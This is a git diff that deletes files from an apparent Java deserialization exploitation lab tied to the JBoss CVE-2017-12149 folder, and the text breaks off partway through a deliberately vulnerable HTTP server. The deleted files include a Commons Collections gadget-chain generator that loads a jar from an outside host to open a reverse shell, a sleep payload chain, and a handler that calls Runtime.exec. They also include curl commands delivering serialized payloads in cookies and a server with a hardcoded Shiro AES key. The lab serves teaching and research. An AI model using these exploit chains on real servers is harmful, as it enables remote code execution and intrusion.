-$ rm -rf /tmp/h2hc_2017 -$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser -Data deserialized! -$ ls -all /tmp/h2hc_2017 --rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017 -``` - -Sending the payload in Gzip+Base64 format via HTTP Cookies: -``` -$ rm -rf /tmp/h2hc_2017 -$ gzip ExampleCommonsCollections1.ser -$ base64 -w0 ExampleCommonsCollections1.ser.gz -$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA" -Data deserialized! -$ ls -all /tmp/h2hc_2017 --rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017 -``` \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java deleted file mode 100644 index ad33a15..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java +++ /dev/null @@ -1,143 +0,0 @@ -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InstantiateTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.keyvalue.TiedMapEntry; -import org.apache.commons.collections.map.LazyMap; - -import java.io.*; -import java.lang.reflect.*; -import java.net.URL; -import java.net.URLClassLoader; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Map; - -/** - * Gera payload com gadget chain para carregar e executar uma classe remota - * (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse, - * do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar, - * a fim de obter uma reverse shell independente de plataforma (Windows ou *nix). - * Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir - * o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get() - * de um LazyMap decorado com a ChainedTransformers. - * Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser. - * - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * OBS: Esse código tem fins apenas didáticos. - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java - * - * Executando - * $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA - * - * @author @joaomatosf - */ -public class ReverseShellCommonsCollectionsHashMap { - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException { - - String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar"; - String host = null; - int port = 1331; - - // Verifica se o usuário forneceu o comando a ser executado - if (args.length != 1 || args[0].split(":").length != 2 ) { - System.out.println("Invalid params! \n" + - "Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\""); - System.exit(1); - } - host = args[0].split(":")[0]; - port = Integer.parseInt(args[0].split(":")[1]); - - Transformer[] transformers = new Transformer[] { - - new ConstantTransformer(URLClassLoader.class), - new InstantiateTransformer( - new Class[]{ - URL[].class - }, - new Object[]{ - new URL[]{new URL(remoteJar)} - }), - new InvokerTransformer("loadClass", - new Class[]{ - String.class - }, - new Object[]{ - "JexReverse" - }), - new InstantiateTransformer( - new Class[]{ String.class, int.class }, - new Object[]{ host, port } - ) - }; - - // Cria o objeto ChainedTransformer com o array de Transformers: - Transformer transformerChain = new ChainedTransformer(transformers); - // Cria o map - Map map1 = new HashMap(); - // Decora o map com o LazyMap e a cadeia de transformações como factory - Map lazyMap = LazyMap.decorate(map1,transformerChain); - - TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); - - HashSet map = new HashSet(1); - map.add("foo"); - Field f = null; - try { - f = HashSet.class.getDeclaredField("map"); - } catch (NoSuchFieldException e) { - f = HashSet.class.getDeclaredField("backingMap"); - } - - f.setAccessible(true); - HashMap innimpl = (HashMap) f.get(map); - - Field f2 = null; - try { - f2 = HashMap.class.getDeclaredField("table"); - } catch (NoSuchFieldException e) { - f2 = HashMap.class.getDeclaredField("elementData"); - } - - f2.setAccessible(true); - Object[] array = (Object[]) f2.get(innimpl); - - Object node = array[0]; - if(node == null){ - node = array[1]; - } - - Field keyField = null; - try{ - keyField = node.getClass().getDeclaredField("key"); - }catch(Exception e){ - keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); - } - - keyField.setAccessible(true); - keyField.set(node, entry); - - // Serializa o objeto - System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); - FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(map); - oos.flush(); - - - } - -} diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java deleted file mode 100644 index a41236b..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java +++ /dev/null @@ -1,105 +0,0 @@ -import org.apache.commons.collections.Transformer; -import org.apache.commons.collections.functors.ChainedTransformer; -import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.functors.InvokerTransformer; -import org.apache.commons.collections.map.LazyMap; - -import java.io.*; -import java.lang.*; -import java.lang.annotation.Retention; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Proxy; -import java.util.*; -/** - * Gera payload com gadget chain para forçar um Sleep na aplicação. - * Note que esse payload requer que a commons-collections vulnerável esteja - * disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com - * JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger - * (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry). - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de - * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser - * - **** USAGE **** - * - * Compilando: - * $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java - * - * Executando - * $ java -cp .:commons-collections-3.2.1.jar SleepExample - * - * - * @author @joaomatosf - */ -public class SleepExample { - @SuppressWarnings ( {"unchecked"} ) - public static void main(String[] args) - throws ClassNotFoundException, NoSuchMethodException, InstantiationException, - IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { - - // Cria array de Transformers que irá resultar na seguinte construção: - //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L}); - Transformer[] transformers = new Transformer[] { - new ConstantTransformer(Thread.class), // retorna class Thread.class - // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE}) - new InvokerTransformer( - "getMethod", // invoca método getMethod - ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[]) - ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE}) - ), - // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L}) - new InvokerTransformer( - "invoke", // invoca método: invoke - (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) - (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L}) - ) - }; - - // Cria o objeto ChainedTransformer com o array de Transformers: - Transformer transformerChain = new ChainedTransformer(transformers); - // Cria o map - Map map = new HashMap(); - // Decora o map com o LazyMap e a cadeia de transformações como factory - Map lazyMap = LazyMap.decorate(map,transformerChain); - - // Usa reflexão para obter referencia da classe AnnotationInvocationHandler - Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); - // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map - Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); - // Torna o construtor acessível - ctor.setAccessible(true); - // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um - // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo - // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! - InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); - - //cria a interface map - Class[] interfaces = new Class[] {java.util.Map.class}; - // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) - Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); - - // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues - // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o - // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) - InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); - - // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, - // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). - // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap - // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! - System.out.println("Saving serialized object in SleepExample.ser"); - FileOutputStream fos = new FileOutputStream("SleepExample.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(handlerProxy); - oos.flush(); - - } - -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SomeInvocationHandler.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SomeInvocationHandler.java deleted file mode 100644 index 60321ca..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SomeInvocationHandler.java +++ /dev/null @@ -1,42 +0,0 @@ -import java.io.Serializable; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Method; - -/** - * Um dos gadgets usados no exemplo didático que demonstra como desviar o - * fluxo de execucão durante a desserialização (utilizando Dynamic Proxy). - * O método invoke() desta classe é alcançado quando o readObject da classe - * ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet()) - * O campo irá conter um Proxy entre a interface Map e este InvocationHandler. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * - * @author @joaomatosf - */ -public class SomeInvocationHandler implements InvocationHandler, Serializable { - - private String cmd; - - // metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente - // durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy. - @Override - public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { - System.out.println("-------------------------------------------"); - System.out.println("Invoke method reached! This method can do something dangerous!"); - Runtime.getRuntime().exec(cmd); - return null; - } - - // magic method invocado automaticamente durante a desserialização de objetos - // deste tipo - private void readObject(java.io.ObjectInputStream s) - throws java.io.IOException, ClassNotFoundException { - s.defaultReadObject(); - System.out.println("-------------------------------------------"); - System.out.println("The flow is in SomeInvocationHandler.readObject()"); - } -} \ No newline at end of file diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java deleted file mode 100644 index 709c0d2..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestDeserialize.java +++ /dev/null @@ -1,42 +0,0 @@ -import java.io.*; -/** - * Exemplo simples que demonstra a desserialização nativa de um objeto - * salvo em um arquivo. Observe que, durante a desserialização, o método - * readObject da classe Alien (que é o tipo do Objeto sendo desserializado) - * é automaticamente invocado - por isso, chamado de magic method. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- * - * - * **** USAGE **** - * - * Compilando: - * $ javac TestDeserialize.java - * - * Executando - * $ java TestDeserialize - * - * OBS: lembre de executar o exemplo TestSerialize antes, de forma - * a gerar o objeto serializado no arquivo (ET_object.ser), que - * será desserializado por este exemplo. - * - * - * @author @joaomatosf - */ -public class TestDeserialize { - - public static void main(String[] args) - throws IOException, ClassNotFoundException { - // Obtem stream de bytes a partir do arquivo salvo em disco - FileInputStream fis = new FileInputStream("ET_object.ser"); - ObjectInputStream ois = new ObjectInputStream(fis); - // Realiza a desserialização! Nesse momento, os magic methods da classe - // Alien serão automaticamente invocados! (ie. readObject) - Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao - System.out.println("Hi, I'm "+ET.name+" from "+ET.source); - - } -} - diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestSerialize.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestSerialize.java deleted file mode 100644 index 30ed577..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/TestSerialize.java +++ /dev/null @@ -1,44 +0,0 @@ -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.ObjectOutputStream; -/** - * Exemplo simples que demonstra a serializacao nativa de um objeto - * e o salva em um arquivo. Observe que, durante a serializacao, o método - * writeObject da classe Alien (que é o tipo do Objeto sendo serializado) - * é automaticamente invocado. - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * **** USAGE **** - * - * Compilando: - * $ javac TestSerialize.java - * - * Executando - * $ java TestSerialize - * - * @author @joaomatosf - */ -public class TestSerialize { - - public static void main(String[] args) - throws IOException { - - // Instancia objeto a ser serializado e atribui - // valores aos seus campos "name" e "source" - Alien ET = new Alien(); - ET.name = "Abu ce taí"; - ET.source = "Andromeda Galaxy"; - - // Cria FileOutputStream para armazenar o objeto serializado em um arquivo - FileOutputStream fos = new FileOutputStream("ET_object.ser"); - ObjectOutputStream oos = new ObjectOutputStream(fos); - oos.writeObject(ET); // <-- Realiza a serializacao - oos.flush(); - oos.close(); - - } -} diff --git a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java deleted file mode 100644 index 7233159..0000000 --- a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java +++ /dev/null @@ -1,402 +0,0 @@ -import com.sun.net.httpserver.HttpExchange; -import com.sun.net.httpserver.HttpHandler; -import com.sun.net.httpserver.HttpServer; - -import sun.misc.BASE64Decoder; - -import javax.crypto.Cipher; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import java.io.*; -import java.lang.annotation.IncompleteAnnotationException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Method; -import java.net.InetSocketAddress; -import java.net.URLDecoder; -//this import is only for java 1.8 -//import java.util.Base64; -import java.security.Key; -import java.util.zip.GZIPInputStream; - -/** - * Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos: - * - * 1) via HTTP POST em formato binário (ou seja, \xAC\xED) - * 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...) - * 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...) - * 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded - * 5) via XML para explorar o XStream - * - * Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que - * ocorre em um servidor "real" (erro de casting após a desserialização) - * - * - * OBS: Sobre Apache Shiro, ver: - * https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java - * https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini - * Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc - * Se preferir, existem mtos sccripts prontos para geracao do payload, veja: - * ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py - * Análise: http://www.freebuf.com/articles/system/125187.html - * - * ----------------------------------------------------------------------- - * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: - * https://www.h2hc.com.br/revista/ - * ----------------------------------------------------------------------- - * - * **** USAGE **** - * - * Compilando: - * $ javac VulnerableHTTPServer.java -XDignore.symbol.file - * - * Executando - * $ java VulnerableHTTPServer - * - * Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs: - * $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer - * $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer - * - * @author @joaomatosf - */ - -public class VulnerableHTTPServer { - - public static void banner(){ - System.out.println("* =============================================================== *"); - System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *"); - System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *"); - System.out.println("* =============================================================== *"); - System.out.println("You can inject java serialized objects in the following formats:"); - System.out.println( - "\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" + - " $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+ - "\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" + - " $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+ - " $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+ - "\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+ - " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+ - " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+ - "\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" + - " $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+ - "\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" + - " $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\""); - - - - System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" + - "$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer"); - System.out.println("=================================================================="); - - } - - public static void main(String[] args) throws IOException { - banner(); - int port = 8000; - HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); - server.createContext("/", new HTTPHandler()); - server.setExecutor(null); // creates a default executor - server.start(); - System.out.println("\nJRE Version: "+System.getProperty("java.version")); - System.out.println("[INFO]: Listening on port "+port); - System.out.println(); - } - - - static class HTTPHandler implements HttpHandler { - - String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA=="; - - public void handle(HttpExchange t) throws IOException { - - System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress()); - - String responseMsg = null; - boolean containsCookie = t.getRequestHeaders().containsKey("cookie"); - - // if there's a cookie with serialized java object - if (containsCookie){ - String object = t.getRequestHeaders().get("cookie").get(0); - object = getObjectValue(object); - - if (object.startsWith("H4sI") || object.startsWith("rO0") ) - responseMsg = deserialize(object); - else { // try deserialize aes-cbc encrypted object - - byte[] plainText = decryptAES(object,aesHardedCodeKey); - if (plainText == null) - responseMsg = "\nAn error ocurred when decrypting the stream.\n"; - else - responseMsg = deserialize(new ByteArrayInputStream(plainText)); - } - - } - else if (t.getRequestMethod().equals("POST")){ - - InputStream input = t.getRequestBody(); - // take 2 bytes from header to check if it is a raw object - PushbackInputStream pbis = new PushbackInputStream( input, 2 ); - byte [] header = new byte[2]; - int len = pbis.read(header); - pbis.unread( header, 0, len ); - StringBuffer headerResult = new StringBuffer(); - for (byte b: header) - headerResult.append(String.format("%02x", b)); - - // deserialize raw - if (headerResult.toString().equals("aced")) - responseMsg = deserialize(pbis); // deserialize RAW - else{ // deserialize H4sI, rO0,... - // read input into string - InputStreamReader isr = new InputStreamReader(pbis, "utf-8"); - BufferedReader br = new BufferedReader(isr); - String body = br.readLine(); - String paramName = ""; - String object = getObjectValue(body); - - if (object.startsWith("H4sI") || object.startsWith("rO0") ) - responseMsg = deserialize(object); // deserialize H4sI, rO0... - else if (object.startsWith("<") ) - responseMsg = deserializeXStream(object); // xtream - } - - - }// end if POST - else{ - - responseMsg = "" + - "\n